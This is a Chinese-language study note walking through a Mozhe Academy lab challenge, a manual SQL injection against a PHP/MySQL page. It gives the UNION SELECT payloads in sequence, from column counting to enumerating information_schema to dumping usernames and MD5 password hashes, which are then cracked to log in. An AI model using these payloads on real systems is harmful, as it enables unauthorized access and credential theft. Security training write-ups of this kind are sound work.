个人学习笔记之手工注入测试(MySQL)

个人学习笔记之手工注入测试

环境:https://www.mozhe.cn/bug/detail/82

环境:Nginx+PHP+MySQL
这是墨者学院的一个测试题,让我们用手工的方式对数据库进行注入得到信息登陆,拿到key。

注入原理

  1. 参数用户可控。
  2. 参数未过滤就带入数据库查询。

凡是满足这两点,皆可产生注入漏洞,攻击者进一步构造payload进行拼接sql语句导致数据泄露,甚至网站、服务器权限被获取。
因此,开发者必须秉承着外部参数不可信的原则进行开发。

寻找注入点

既然这是一道手工注入的测试题,那首先必须找到注入点。
打开链接看到如下界面:个人学习笔记之手工注入测试(MySQL)_第1张图片
没有其他花里胡哨的链接,我们可以很轻松的找到公告,点击发现这应该就是我们要找的注入点(待确定,因为实在没有其他东西了哈哈)。
http://219.153.49.228:46624/new_list.php?id=1
个人学习笔记之手工注入测试(MySQL)_第2张图片

如果你真的没找到,也可以扫一下后台。
个人学习笔记之手工注入测试(MySQL)_第3张图片

判断是否存在注入

http://219.153.49.228:46624/new_list.php?id=1-0 减去0,发现返回正常
http://219.153.49.228:46624/new_list.php?id=1‘ 单引号 报错
个人学习笔记之手工注入测试(MySQL)_第4张图片

个人学习笔记之手工注入测试(MySQL)_第5张图片
由此可以判断,该页面存在注入,注入点为id。

判断字段

构造语句 ~?id=1 order by 10 报错,说明字段数少于10个。
然后二分法取5.
构造语句 ~?id=1 order by 5还是报错,说明字段数少于5个。
继续二分法取3.
构造语句 ~?id=1 order by 3页面返回正常,说明字段数大于3个。
构造语句 ~?id=1 order by 4页面返回正常,刚才5报错,可得出字段数为4。
个人学习笔记之手工注入测试(MySQL)_第6张图片

判断显示的字段

这里用联合查询?id=1 and 1=2 union select 1,2,3,4
个人学习笔记之手工注入测试(MySQL)_第7张图片

可以看到2,3显示出来,我们可以用这两个字段来查看回显信息。

查看库名和版本信息

?id=1 and 1=2 union select 1,database(),version(),4

个人学习笔记之手工注入测试(MySQL)_第8张图片
mozhe_Discuz_StormGroup为数据库,5.7.22为数据库版本信息,ubuntu0.16.04.1表示操纵系统乌班图0.16.04.1。
这里的信息不只有这么多,因为看到数据库版本5.7.22,可以知道Mysql会在5.0版本后,默认存在一个名为information_schema的数据库,而这个数据库里有三个对我们非常有用的表,分别是SCHEMATA、TABLE和CLOUMNS.

  1. SCHEMATA里存储的是所有的数据库名,其字段为SCHEMA_NAME。
  2. TABLE表里存储的是所有的数据库名和所有表名,字段分别是TABLE_SCHEMA、TABLE_NAME。
  3. CLOUMNS表存储的是所有的数据库名、表名和列名。字段名分别为TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME。

爆库名

个人学习笔记之手工注入测试(MySQL)_第9张图片
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1(显示mozhe_Discuz_StormGroup)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1(显示mysql)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1(显示performance_schema)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1(显示sys)
?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1(报错说明数据库有5个。)
这里直接从1开始查,因为知道第1个数据库是information_schema。以此类推直到网页报错,所查出来的数据库就是全部的数据库。
5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

爆表名

?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 0,1
个人学习笔记之手工注入测试(MySQL)_第10张图片
同爆库,逐条查看直到报错。得出数据库中的表名。

数据库mozhe_Discuz_StormGroup有2个数据表,StormGroup_member、notice。

爆字段

?id=1 and 1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1
个人学习笔记之手工注入测试(MySQL)_第11张图片
同上,逐条查看直到报错。
得出表的列名:id,name,password,status。

爆数据

?id=1 and 1=2 union select 1,CONCAT(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
个人学习笔记之手工注入测试(MySQL)_第12张图片

也可以用group_concat全部输出:
个人学习笔记之手工注入测试(MySQL)_第13张图片
到此为止我们就得到了想要的信息,用户名和密码(md5加密状态)。进行解密
个人学习笔记之手工注入测试(MySQL)_第14张图片
账号mozhe.密码834430进行登陆得到key.
在这里插入图片描述

你可能感兴趣的:(个人学习笔记之手工注入测试(MySQL))